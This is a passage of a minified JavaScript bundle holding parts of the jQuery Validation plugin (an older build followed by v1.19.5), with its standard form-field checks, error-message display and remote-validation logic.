t},addMethod:function(t,i,r){n.validator.methods[t]=i;n.validator.messages[t]=r!=undefined?r:n.validator.messages[t];i.length<3&&n.validator.addClassRules(t,n.validator.normalizeRule(t))},methods:{required:function(t,i,r){if(!this.depend(r,i))return"dependency-mismatch";switch(i.nodeName.toLowerCase()){case"select":var u=n(i).val();return u&&u.length>0;case"input":if(this.checkable(i))return this.getLength(t,i)>0;default:return n.trim(t).length>0}},remote:function(t,i,r){var f,u,e;return this.optional(i)?"dependency-mismatch":(f=this.previousValue(i),this.settings.messages[i.name]||(this.settings.messages[i.name]={}),f.originalMessage=this.settings.messages[i.name].remote,this.settings.messages[i.name].remote=f.message,r=typeof r=="string"&&{url:r}||r,this.pending[i.name])?"pending":f.old===t?f.valid:(f.old=t,u=this,this.startRequest(i),e={},e[i.name]=t,n.ajax(n.extend(!0,{url:r,mode:"abort",port:"validate"+i.name,dataType:"json",data:e,success:function(r){var e,h,s,o;u.settings.messages[i.name].remote=f.originalMessage;e=r===!0;e?(h=u.formSubmitted,u.prepareElement(i),u.formSubmitted=h,u.successList.push(i),u.showErrors()):(s={},o=r||u.defaultMessage(i,"remote"),s[i.name]=f.message=n.isFunction(o)?o(t):o,u.showErrors(s));f.valid=e;u.stopRequest(i,e)}},r)),"pending")},minlength:function(t,i,r){return this.optional(i)||this.getLength(n.trim(t),i)>=r},maxlength:function(t,i,r){return this.optional(i)||this.getLength(n.trim(t),i)<=r},rangelength:function(t,i,r){var u=this.getLength(n.trim(t),i);return this.optional(i)||u>=r[0]&&u<=r[1]},min:function(n,t,i){return this.optional(t)||n>=i},max:function(n,t,i){return this.optional(t)||n<=i},range:function(n,t,i){return this.optional(t)||n>=i[0]&&n<=i[1]},email:function(n,t){return this.optional(t)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i.test(n)},url:function(n,t){return this.optional(t)||/^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(n)},date:function(n,t){return this.optional(t)||!/Invalid|NaN/.test(new Date(n))},dateISO:function(n,t){return this.optional(t)||/^\d{4}[\/-]\d{1,2}[\/-]\d{1,2}$/.test(n)},number:function(n,t){return this.optional(t)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)(?:\.\d+)?$/.test(n)},digits:function(n,t){return this.optional(t)||/^\d+$/.test(n)},creditcard:function(n,t){var r,e,i;if(this.optional(t))return"dependency-mismatch";if(/[^0-9-]+/.test(n))return!1;var f=0,i=0,u=!1;for(n=n.replace(/\D/g,""),r=n.length-1;r>=0;r--)e=n.charAt(r),i=parseInt(e,10),u&&(i*=2)>9&&(i-=9),f+=i,u=!u;return f%10==0},accept:function(n,t,i){return i=typeof i=="string"?i.replace(/,/g,"|"):"png|jpe?g|gif",this.optional(t)||n.match(new RegExp(".("+i+")$","i"))},equalTo:function(t,i,r){var u=n(r).unbind(".validate-equalTo").bind("blur.validate-equalTo",function(){n(i).valid()});return t==u.val()}}});n.format=n.validator.format}(jQuery),function(n){var t={},i;n.ajaxPrefilter?n.ajaxPrefilter(function(n,i,r){var u=n.port;n.mode=="abort"&&(t[u]&&t[u].abort(),t[u]=r)}):(i=n.ajax,n.ajax=function(r){var f=("mode"in r?r:n.ajaxSettings).mode,u=("port"in r?r:n.ajaxSettings).port;return f=="abort"?(t[u]&&t[u].abort(),t[u]=i.apply(this,arguments)):i.apply(this,arguments)})}(jQuery),function(n){jQuery.event.special.focusin||jQuery.event.special.focusout||!document.addEventListener||n.each({focus:"focusin",blur:"focusout"},function(t,i){function r(t){return t=n.event.fix(t),t.type=i,n.event.handle.call(this,t)}n.event.special[i]={setup:function(){this.addEventListener(t,r,!0)},teardown:function(){this.removeEventListener(t,r,!0)},handler:function(t){return arguments[0]=n.event.fix(t),arguments[0].type=i,n.event.handle.apply(this,arguments)}}});n.extend(n.fn,{validateDelegate:function(t,i,r){return this.bind(i,function(i){var u=n(i.target);if(u.is(t))return r.apply(u,arguments)})}})}(jQuery);
/*! jQuery Validation Plugin - v1.19.5 - 7/1/2022
 * https://jqueryvalidation.org/
 * Copyright (c) 2022 Jörn Zaefferer; Licensed MIT */
!function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=n(require("jquery")):n(jQuery)}(function(n){var i,r,t;return n.extend(n.fn,{validate:function(t){if(!this.length)return void(t&&t.debug&&window.console&&console.warn("Nothing selected, can't validate, returning nothing."));var i=n.data(this[0],"validator");return i?i:(this.attr("novalidate","novalidate"),i=new n.validator(t,this[0]),n.data(this[0],"validator",i),i.settings.onsubmit&&(this.on("click.validate",":submit",function(t){i.submitButton=t.currentTarget;n(this).hasClass("cancel")&&(i.cancelSubmit=!0);void 0!==n(this).attr("formnovalidate")&&(i.cancelSubmit=!0)}),this.on("submit.validate",function(t){function r(){var r,u;return i.submitButton&&(i.settings.submitHandler||i.formSubmitted)&&(r=n("<input type='hidden'/>").attr("name",i.submitButton.name).val(n(i.submitButton).val()).appendTo(i.currentForm)),!(i.settings.submitHandler&&!i.settings.debug)||(u=i.settings.submitHandler.call(i,i.currentForm,t),r&&r.remove(),void 0!==u&&u)}return i.settings.debug&&t.preventDefault(),i.cancelSubmit?(i.cancelSubmit=!1,r()):i.form()?i.pendingRequest?(i.formSubmitted=!0,!1):r():(i.focusInvalid(),!1)})),i)},valid:function(){var t,i,r;return n(this[0]).is("form")?t=this.validate().form():(r=[],t=!0,i=n(this[0].form).validate(),this.each(function(){t=i.element(this)&&t;t||(r=r.concat(i.errorList))}),i.errorList=r),t},rules:function(t,i){var e,s,f,u,o,h,r=this[0],c="undefined"!=typeof this.attr("contenteditable")&&"false"!==this.attr("contenteditable");if(null!=r&&(!r.form&&c&&(r.form=this.closest("form")[0],r.name=this.attr("name")),null!=r.form)){if(t)switch(e=n.data(r.form,"validator").settings,s=e.rules,f=n.validator.staticRules(r),t){case"add":n.extend(f,n.validator.normalizeRule(i));delete f.messages;s[r.name]=f;i.messages&&(e.messages[r.name]=n.extend(e.messages[r.name],i.messages));break;case"remove":return i?(h={},n.each(i.split(/\s/),function(n,t){h[t]=f[t];delete f[t]}),h):(delete s[r.name],f)}return u=n.validator.normalizeRules(n.extend({},n.validator.classRules(r),n.validator.attributeRules(r),n.validator.dataRules(r),n.validator.staticRules(r)),r),u.required&&(o=u.required,delete u.required,u=n.extend({required:o},u)),u.remote&&(o=u.remote,delete u.remote,u=n.extend(u,{remote:o})),u}}}),i=function(n){return n.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")},n.extend(n.expr.pseudos||n.expr[":"],{blank:function(t){return!i(""+n(t).val())},filled:function(t){var r=n(t).val();return null!==r&&!!i(""+r)},unchecked:function(t){return!n(t).prop("checked")}}),n.validator=function(t,i){this.settings=n.extend(!0,{},n.validator.defaults,t);this.currentForm=i;this.init()},n.validator.format=function(t,i){return 1===arguments.length?function(){var i=n.makeArray(arguments);return i.unshift(t),n.validator.format.apply(this,i)}:void 0===i?t:(arguments.length>2&&i.constructor!==Array&&(i=n.makeArray(arguments).slice(1)),i.constructor!==Array&&(i=[i]),n.each(i,function(n,i){t=t.replace(new RegExp("\\{"+n+"\\}","g"),function(){return i})}),t)},n.extend(n.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",pendingClass:"pending",validClass:"valid",errorElement:"label",focusCleanup:!1,focusInvalid:!0,errorContainer:n([]),errorLabelContainer:n([]),onsubmit:!0,ignore:":hidden",ignoreTitle:!1,onfocusin:function(n){this.lastActive=n;this.settings.focusCleanup&&(this.settings.unhighlight&&this.settings.unhighlight.call(this,n,this.settings.errorClass,this.settings.validClass),this.hideThese(this.errorsFor(n)))},onfocusout:function(n){!this.checkable(n)&&(n.name in this.submitted||!this.optional(n))&&this.element(n)},onkeyup:function(t,i){9===i.which&&""===this.elementValue(t)||n.inArray(i.keyCode,[16,17,18,20,35,36,37,38,39,40,45,144,225])!==-1||(t.name in this.submitted||t.name in this.invalid)&&this.element(t)},onclick:function(n){n.name in this.submitted?this.element(n):n.parentNode.name in this.submitted&&this.element(n.parentNode)},highlight:function(t,i,r){"radio"===t.type?this.findByName(t.name).addClass(i).removeClass(r):n(t).addClass(i).removeClass(r)},unhighlight:function(t,i,r){"radio"===t.type?this.findByName(t.name).removeClass(i).addClass(r):n(t).removeClass(i).addClass(r)}},setDefaults:function(t){n.extend(n.validator.defaults,t)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits.",equalTo:"Please enter the same value again.",maxlength:n.validator.format("Please enter no more than {0} characters."),minlength:n.validator.format("Please enter at least {0} characters."),rangelength:n.validator.format("Please enter a value between {0} and {1} characters long."),range:n.validator.format("Please enter a value between {0} and {1}."),max:n.validator.format("Please enter a value less than or equal to {0}."),min:n.validator.format("Please enter a value greater than or equal to {0}."),step:n.validator.format("Please enter a multiple of {0}.")},autoCreateRanges:!1,prototype:{init:function(){function i(t){var e="undefined"!=typeof n(this).attr("contenteditable")&&"false"!==n(this).attr("contenteditable");if(!this.form&&e&&(this.form=n(this).closest("form")[0],this.name=n(this).attr("name")),r===this.form){var u=n.data(this.form,"validator"),f="on"+t.type.replace(/^validate/,""),i=u.settings;i[f]&&!n(this).is(i.ignore)&&i[f].call(u,this,t)}}this.labelContainer=n(this.settings.errorLabelContainer);this.errorContext=this.labelContainer.length&&this.labelContainer||n(this.currentForm);this.containers=n(this.settings.errorContainer).add(this.settings.errorLabelContainer);this.submitted={};this.valueCache={};this.pendingRequest=0;this.pending={};this.invalid={};this.reset();var t,r=this.currentForm,u=this.groups={};n.each(this.settings.groups,function(t,i){"string"==typeof i&&(i=i.split(/\s/));n.each(i,function(n,i){u[i]=t})});t=this.settings.rules;n.each(t,function(i,r){t[i]=n.validator.normalizeRule(r)});n(this.currentForm).on("focusin.validate focusout.validate keyup.validate",":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'], [type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], [type='radio'], [type='checkbox'], [contenteditable], [type='button']",i).on("click.validate","select, option, [type='radio'], [type='checkbox']",i);this.settings.invalidHandler&&n(this.currentForm).on("invalid-form.validate",this.settings.invalidHandler)},form:function(){return this.checkForm(),n.extend(this.submitted,this.errorMap),this.invalid=n.extend({},this.errorMap),this.valid()||n(this.currentForm).triggerHandler("invalid-form",[this]),this.showErrors(),this.valid()},checkForm:function(){this.prepareForm();for(var n=0,t=this.currentElements=this.elements();t[n];n++)this.check(t[n]);return this.valid()},element:function(t){var e,o,i=this.clean(t),r=this.validationTargetFor(i),u=this,f=!0;return void 0===r?delete this.invalid[i.name]:(this.prepareElement(r),this.currentElements=n(r),o=this.groups[r.name],o&&n.each(this.groups,function(n,t){t===o&&n!==r.name&&(i=u.validationTargetFor(u.clean(u.findByName(n))),i&&i.name in u.invalid&&(u.currentElements.push(i),f=u.check(i)&&f))}),e=this.check(r)!==!1,f=f&&e,this.invalid[r.name]=e?!1:!0,this.numberOfInvalids()||(this.toHide=this.toHide.add(this.containers)),this.showErrors(),n(t).attr("aria-invalid",!e)),f},showErrors:function(t){if(t){var i=this;n.extend(this.errorMap,t);this.errorList=n.map(this.errorMap,function(n,t){return{message:n,element:i.findByName(t)[0]}});this.successList=n.grep(this.successList,function(n){return!(n.name in t)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){n.fn.resetForm&&n(this.currentForm).resetForm();this.invalid={};this.submitted={};this.prepareForm();this.hideErrors();var t=this.elements().removeData("previousValue").removeAttr("aria-invalid");this.resetElements(t)},resetElements:function(n){var t;if(this.settings.unhighlight)for(t=0;n[t];t++)this.settings.unhighlight.call(this,n[t],this.settings.errorClass,""),this.findByName(n[t].name).removeClass(this.settings.validClass);else n.removeClass(this.settings.errorClass).removeClass(this.settings.validClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(n){var t,i=0;for(t in n)void 0!==n[t]&&null!==n[t]&&n[t]!==!1&&i++;return i},hideErrors:function(){this.hideThese(this.toHide)},hideThese:function(n){n.not(this.containers).text("");this.addWrapper(n).hide()},valid:function(){return 0===this.size()},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid)try{n(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").trigger("focus").trigger("focusin")}catch(t){}},findLastActive:function(){var t=this.lastActive;return t&&1===n.grep(this.errorList,function(n){return n.element.name===t.name}).length&&t},elements:function(){var t=this,i={};return n(this.currentForm).find("input, select, textarea, [contenteditable]").not(":submit, :reset, :image, :disabled").not(this.settings.ignore).filter(function(){var r=this.name||n(this).attr("name"),u="undefined"!=typeof n(this).attr("contenteditable")&&"false"!==n(this).attr("contenteditable");return!r&&t.settings.debug&&window.console&&console.error("%o has no name assigned",this),u&&(this.form=n(this).closest("form")[0],this.name=r),this.form===t.currentForm&&!(r in i||!t.objectLength(n(this).rules()))&&(i[r]=!0,!0)})},clean:function(t){return n(t)[0]},errors:function(){var t=this.settings.errorClass.split(" ").join(".");return n(this.settings.errorElement+"."+t,this.errorContext)},resetInternals:function(){this.successList=[];this.errorList=[];this.errorMap={};this.toShow=n([]);this.toHide=n([])},reset:function(){this.resetInternals();this.currentElements=n([])},prepareForm:function(){this.reset();this.toHide=this.errors().add(this.containers)},prepareElement:function(n){this.reset();this.toHide=this.errorsFor(n)},elementValue:function(t){var i,r,u=n(t),f=t.type,e="undefined"!=typeof u.attr("contenteditable")&&"false"!==u.attr("contenteditable");return"radio"===f||"checkbox"===f?this.findByName(t.name).filter(":checked").val():"number"===f&&"undefined"!=typeof t.validity?t.validity.badInput?"NaN":u.val():(i=e?u.text():u.val(),"file"===f?"C:\\fakepath\\"===i.substr(0,12)?i.substr(12):(r=i.lastIndexOf("/"),r>=0?i.substr(r+1):(r=i.lastIndexOf("\\"),r>=0?i.substr(r+1):i)):"string"==typeof i?i.replace(/\r/g,""):i)},check:function(t){t=this.validationTargetFor(this.clean(t));var u,f,r,e,i=n(t).rules(),c=n.map(i,function(n,t){return t}).length,s=!1,h=this.elementValue(t);"function"==typeof i.normalizer?e=i.normalizer:"function"==typeof this.settings.normalizer&&(e=this.settings.normalizer);e&&(h=e.call(t,h),delete i.normalizer);for(f in i){r={method:f,parameters:i[f]};try{if(u=n.validator.methods[f].call(this,h,t,r.parameters),"dependency-mismatch"===u&&1===c){s=!0;continue}if(s=!1,"pending"===u)return void(this.toHide=this.toHide.not(this.errorsFor(t)));if(!u)return this.formatAndAdd(t,r),!1}catch(o){throw this.settings.debug&&window.console&&console.log("Exception occurred when checking element "+t.id+", check the '"+r.method+"' method.",o),o instanceof TypeError&&(o.message+=".  Exception occurred when checking element "+t.id+", check the '"+r.method+"' method."),o;}}if(!s)return this.objectLength(i)&&this.successList.push(t),!0},customDataMessage:function(t,i){return n(t).data("msg"+i.charAt(0).toUpperCase()+i.substring(1).toLowerCase())||n(t).data("msg")},customMessage:function(n,t){var i=this.settings.messages[n];return i&&(i.constructor===String?i:i[t])},findDefined:function(){for(var n=0;n<arguments.length;n++)if(void 0!==arguments[n])return arguments[n]},defaultMessage:function(t,i){"string"==typeof i&&(i={method:i});var r=this.findDefined(this.customMessage(t.name,i.method),this.customDataMessage(t,i.method),!this.settings.ignoreTitle&&t.title||void 0,n.validator.messages[i.method],"<strong>Warning: No message defined for "+t.name+"<\/strong>"),u=/\$?\{(\d+)\}/g;return"function"==typeof r?r=r.call(this,i.parameters,t):u.test(r)&&(r=n.validator.format(r.replace(u,"{$1}"),i.parameters)),r},formatAndAdd:function(n,t){var i=this.defaultMessage(n,t);this.errorList.push({message:i,element:n,method:t.method});this.errorMap[n.name]=i;this.submitted[n.name]=i},addWrapper:function(n){return this.settings.wrapper&&(n=n.add(n.parent(this.settings.wrapper))),n},defaultShowErrors:function(){for(var i,t,n=0;this.errorList[n];n++)t=this.errorList[n],this.settings.highlight&&this.settings.highlight.call(this,t.element,this.settings.errorClass,this.settings.validClass),this.showLabel(t.element,t.message);if(this.errorList.length&&(this.toShow=this.toShow.add(this.containers)),this.settings.success)for(n=0;this.successList[n];n++)this.showLabel(this.successList[n]);if(this.settings.unhighlight)for(n=0,i=this.validElements();i[n];n++)this.settings.unhighlight.call(this,i[n],this.settings.errorClass,this.settings.validClass);this.toHide=this.toHide.not(this.toShow);this.hideErrors();this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return n(this.errorList).map(function(){return this.element})},showLabel:function(t,i){var u,s,e,o,r=this.errorsFor(t),h=this.idOrName(t),f=n(t).attr("aria-describedby");r.length?(r.removeClass(this.settings.validClass).addClass(this.settings.errorClass),r.html(i)):(r=n("<"+this.settings.errorElement+">").attr("id",h+"-error").addClass(this.settings.errorClass).html(i||""),u=r,this.settings.wrapper&&(u=r.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()),this.labelContainer.length?this.labelContainer.append(u):this.settings.errorPlacement?this.settings.errorPlacement.call(this,u,n(t)):u.insertAfter(t),r.is("label")?r.attr("for",h):0===r.parents("label[for='"+this.escapeCssMeta(h)+"']").length&&(e=r.attr("id"),f?f.match(new RegExp("\\b"+this.escapeCssMeta(e)+"\\b"))||(f+=" "+e):f=e,n(t).attr("aria-describedby",f),s=this.groups[t.name],s&&(o=this,n.each(o.groups,function(t,i){i===s&&n("[name='"+o.escapeCssMeta(t)+"']",o.currentForm).attr("aria-describedby",r.attr("id"))}))));!i&&this.settings.success&&(r.text(""),"string"==typeof this.settings.success?r.addClass(this.settings.success):this.settings.success(r,t));this.toShow=this.toShow.add(r)},errorsFor:function(t){var r=this.escapeCssMeta(this.idOrName(t)),u=n(t).attr("aria-describedby"),i="label[for='"+r+"'], label[for='"+r+"'] *";return u&&(i=i+", #"+this.escapeCssMeta(u).replace(/\s+/g,", #")),this.errors().filter(i)},escapeCssMeta:function(n){return void 0===n?"":n.replace(/([\\!"#$%&'()*+,./:;<=>?@\[\]^`{|}~])/g,"\\$1")},idOrName:function(n){return this.groups[n.name]||(this.checkable(n)?n.name:n.id||n.name)},validationTargetFor:function(t){return this.checkable(t)&&(t=this.findByName(t.name)),n(t).not(this.settings.ignore)[0]},checkable:function(n){return/radio|checkbox/i.test(n.type)},findByName:function(t){return n(this.currentForm).find("[name='"+this.escapeCssMeta(t)+"']")},getLength:function(t,i){switch(i.nodeName.toLowerCase()){case"select":return n("option:selected",i).length;case"input":if(this.checkable(i))return this.findByName(i.name).filter(":checked").length}return t.length},depend:function(n,t){return!this.dependTypes[typeof n]||this.dependTypes[typeof n](n,t)},dependTypes:{boolean:function(n){return n},string:function(t,i){return!!n(t,i.form).length},"function":function(n,t){return n(t)}},optional:function(t){var i=this.elementValue(t);return!n.validator.methods.required.call(this,i,t)&&"dependency-mismatch"},startRequest:function(t){this.pending[t.name]||(this.pendingRequest++,n(t).addClass(this.settings.pendingClass),this.pending[t.name]=!0)},stopRequest:function(t,i){this.pendingRequest--;this.pendingRequest<0&&(this.pendingRequest=0);delete this.pending[t.name];n(t).removeClass(this.settings.pendingClass);i&&0===this.pendingRequest&&this.formSubmitted&&this.form()&&0===this.pendingRequest?(n(this.currentForm).trigger("submit"),this.submitButton&&n("input:hidden[name='"+this.submitButton.name+"']",this.currentForm).remove(),this.formSubmitted=!1):!i&&0===this.pendingRequest&&this.formSubmitted&&(n(this.currentForm).triggerHandler("invalid-form",[this]),this.formSubmitted=!1)},previousValue:function(t,i){return i="string"==typeof i&&i||"remote",n.data(t,"previousValue")||n.data(t,"previousValue",{old:null,valid:!0,message:this.defaultMessage(t,{method:i})})},destroy:function(){this.resetForm();n(this.currentForm).off(".validate").removeData("validator").find(".validate-equalTo-blur").off(".validate-equalTo").removeClass("validate-equalTo-blur").find(".validate-lessThan-blur").off(".validate-lessThan").removeClass("validate-lessThan-blur").find(".validate-lessThanEqual-blur").off(".validate-lessThanEqual").removeClass("validate-lessThanEqual-blur").find(".validate-greaterThanEqual-blur").off(".validate-greaterThanEqual").removeClass("validate-greaterThanEqual-blur").find(".validate-greaterThan-blur").off(".validate-greaterThan").removeClass("validate-greaterThan-blur")}},classRuleSettings:{required:{required:!0},email:{email:!0},url:{url:!0},date:{date:!0},dateISO:{dateISO:!0},number:{number:!0},digits:{digits:!0},creditcard:{creditcard:!0}},addClassRules:function(t,i){t.constructor===String?this.classRuleSettings[t]=i:n.extend(this.classRuleSettings,t)},classRules:function(t){var i={},r=n(t).attr("class");return r&&n.each(r.split(" "),function(){this in n.validator.classRuleSettings&&n.extend(i,n.validator.classRuleSettings[this])}),i},normalizeAttributeRule:function(n,t,i,r){/min|max|step/.test(i)&&(null===t||/number|range|text/.test(t))&&(r=Number(r),isNaN(r)&&(r=void 0));r||0===r?n[i]=r:t===i&&"range"!==t&&(n["date"===t?"dateISO":i]=!0)},attributeRules:function(t){var r,i,u={},f=n(t),e=t.getAttribute("type");for(r in n.validator.methods)"required"===r?(i=t.getAttribute(r),""===i&&(i=!0),i=!!i):i=f.attr(r),this.normalizeAttributeRule(u,e,r,i);return u.maxlength&&/-1|2147483647|524288/.test(u.maxlength)&&delete u.maxlength,u},dataRules:function(t){var i,r,u={},f=n(t),e=t.getAttribute("type");for(i in n.validator.methods)r=f.data("rule"+i.charAt(0).toUpperCase()+i.substring(1).toLowerCase()),""===r&&(r=!0),this.normalizeAttributeRule(u,e,i,r);return u},staticRules:function(t){var i={},r=n.data(t.form,"validator");return r.settings.rules&&(i=n.validator.normalizeRule(r.settings.rules[t.name])||{}),i},normalizeRules:function(t,i){return n.each(t,function(r,u){if(u===!1)return void delete t[r];if(u.param||u.depends){var f=!0;switch(typeof u.depends){case"string":f=!!n(u.depends,i.form).length;break;case"function":f=u.depends.call(i,i)}f?t[r]=void 0===u.param||u.param:(n.data(i.form,"validator").resetElements(n(i)),delete t[r])}}),n.each(t,function(n,r){t[n]="function"==typeof r&&"normalizer"!==n?r(i):r}),n.each(["minlength","maxlength"],function(){t[this]&&(t[this]=Number(t[this]))}),n.each(["rangelength","range"],function(){var n;t[this]&&(Array.isArray(t[this])?t[this]=[Number(t[this][0]),Number(t[this][1])]:"string"==typeof t[this]&&(n=t[this].replace(/[\[\]]/g,"").split(/[\s,]+/),t[this]=[Number(n[0]),Number(n[1])]))}),n.validator.autoCreateRanges&&(null!=t.min&&null!=t.max&&(t.range=[t.min,t.max],delete t.min,delete t.max),null!=t.minlength&&null!=t.maxlength&&(t.rangelength=[t.minlength,t.maxlength],delete t.minlength,delete t.maxlength)),t},normalizeRule:function(t){if("string"==typeof t){var i={};n.each(t.split(/\s/),function(){i[this]=!0});t=i}return t},addMethod:function(t,i,r){n.validator.methods[t]=i;n.validator.messages[t]=void 0!==r?r:n.validator.messages[t];i.length<3&&n.validator.addClassRules(t,n.validator.normalizeRule(t))},methods:{required:function(t,i,r){if(!this.depend(r,i))return"dependency-mismatch";if("select"===i.nodeName.toLowerCase()){var u=n(i).val();return u&&u.length>0}return this.checkable(i)?this.getLength(t,i)>0:void 0!==t&&null!==t&&t.length>0},email:function(n,t){return this.optional(t)||/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test(n)},url:function(n,t){return this.optional(t)||/^(?:(?:(?:https?|ftp):)?\/\/)(?:(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})+(?::(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62})?[a-z0-9\u00a1-\uffff]\.)+(?:[a-z\u00a1-\uffff]{2,}\.?))(?::\d{2,5})?(?:[/?#]\S*)?$/i.test(n)},date:function(){var n=!1;return function(t,i){return n||(n=!0,this.settings.debug&&window.console&&console.warn("The `date` method is deprecated and will be removed in version '2.0.0'.\nPlease don't use it, since it relies on the Date constructor, which\nbehaves very differently across browsers and locales. Use `dateISO`\ninstead or one of the locale specific methods in `localizations/`\nand `additional-methods.js`.")),this.optional(i)||!/Invalid|NaN/.test(new Date(t).toString())}}(),dateISO:function(n,t){return this.optional(t)||/^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test(n)},number:function(n,t){return this.optional(t)||/^(?:-?\d+|-?\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test(n)},digits:function(n,t){return this.optional(t)||/^\d+$/.test(n)},minlength:function(n,t,i){var r=Array.isArray(n)?n.length:this.getLength(n,t);return this.optional(t)||r>=i},maxlength:function(n,t,i){var r=Array.isArray(n)?n.length:this.getLength(n,t);return this.optional(t)||r<=i},rangelength:function(n,t,i){var r=Array.isArray(n)?n.length:this.getLength(n,t);return this.optional(t)||r>=i[0]&&r<=i[1]},min:function(n,t,i){return this.optional(t)||n>=i},max:function(n,t,i){return this.optional(t)||n<=i},range:function(n,t,i){return this.optional(t)||n>=i[0]&&n<=i[1]},step:function(t,i,r){var u,f=n(i).attr("type"),h="Step attribute on input type "+f+" is not supported.",c=new RegExp("\\b"+f+"\\b"),l=f&&!c.test("text,number,range"),e=function(n){var t=(""+n).match(/(?:\.(\d+))?$/);return t&&t[1]?t[1].length:0},o=function(n){return 